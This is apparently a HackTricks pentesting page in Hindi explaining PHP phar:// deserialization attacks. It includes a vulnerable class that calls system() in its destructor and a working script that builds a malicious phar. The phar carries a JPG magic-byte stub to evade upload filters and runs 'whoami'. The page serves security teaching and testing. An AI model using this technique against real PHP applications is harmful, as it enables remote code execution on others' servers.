phar:// deserialization
Reading time: 3 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Phar फ़ाइलें (PHP Archive) फ़ाइलें serialized format में मेटा डेटा contain करती हैं, इसलिए, जब इसे पार्स किया जाता है, तो यह metadata deserialized होती है और आप PHP कोड के अंदर एक deserialization भेद्यता का दुरुपयोग करने की कोशिश कर सकते हैं।
इस विशेषता के बारे में सबसे अच्छी बात यह है कि यह deserialization तब भी होगी जब PHP फ़ंक्शंस का उपयोग किया जाए जो PHP कोड को eval नहीं करते जैसे file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()।
तो, एक ऐसी स्थिति की कल्पना करें जहाँ आप एक PHP वेब को एक मनमाने फ़ाइल का आकार प्राप्त करने के लिए phar://
प्रोटोकॉल का उपयोग कर सकते हैं, और कोड के अंदर आपको निम्नलिखित के समान एक class मिलती है:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
आप एक phar फ़ाइल बना सकते हैं जो लोड होने पर इस क्लास का दुरुपयोग करके मनमाने कमांड चलाएगी जैसे:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
ध्यान दें कि JPG के जादुई बाइट्स (\xff\xd8\xff
) को phar फ़ाइल की शुरुआत में बायपास संभावित फ़ाइल अपलोड प्रतिबंधों के लिए जोड़ा गया है।
test.phar
फ़ाइल को इस प्रकार संकलित करें:
php --define phar.readonly=0 create_phar.php
और कमजोर कोड का दुरुपयोग करते हुए whoami
कमांड चलाएँ:
php vuln.php
संदर्भ
https://blog.ripstech.com/2018/new-php-exploitation-technique/
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।